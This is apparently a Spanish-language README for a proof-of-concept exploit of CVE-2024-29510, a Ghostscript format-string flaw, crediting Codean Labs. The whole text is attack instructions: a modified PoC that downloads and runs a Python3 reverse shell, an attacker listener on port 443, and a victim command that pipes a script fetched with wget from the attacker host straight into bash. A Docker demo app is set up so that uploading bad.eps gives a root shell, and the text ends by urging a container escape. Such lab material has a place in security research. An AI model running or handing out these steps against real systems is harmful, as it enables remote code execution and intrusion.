Investigación original y código POC: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
NOTA: No he realizado cambios en el POC aparte del comando ejecutado. Todo el crédito es para Thomas Rinsma @ Codean Labs por su increíble investigación y POC.
Escenario local
- Envuelto en un script stager para descargar y ejecutar un script de verificación para ver si el host es vulnerable
- POC modificado para descargar y ejecutar una reverse shell de Python3
- Stager y reverse shell descargados y ejecutados a través de STDIN
- El POC deja un artefacto en /tmp con nombre aleatorio
En el host atacante:
- Usando pwncat-cs o netcat, crea un listener para 443
- Navega al directorio del exploit
- python3 -m http.server 80
En el host víctima (Ubuntu 23.10 ejecutando Ghostscript 10.01.2):
- Abre una terminal y ejecuta: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
Escenario remoto (VulnApp)
- Construye VulnApp usando: 'docker build -t cve-2024-29510-demo:latest .' (Requiere una copia de https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz en el directorio del Dockerfile)
- Ejecuta VulnApp usando: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- Intenta convertir good.ps para probar la funcionalidad. Debería devolver un PDF renderizado con líneas que dibujan una flecha, p. ej. '>'
- Configura un servidor web en el puerto 80 que sirva shell.html, p. ej. 'python3 -m http.server 80'
- Usando pwncat-cs o netcat, crea un listener para 443
- Sube bad.eps; VulnApp se quedará colgado y el listener debería capturar una reverse shell para el contenedor (ejecutándose como root)
- ¡Escapa del contenedor!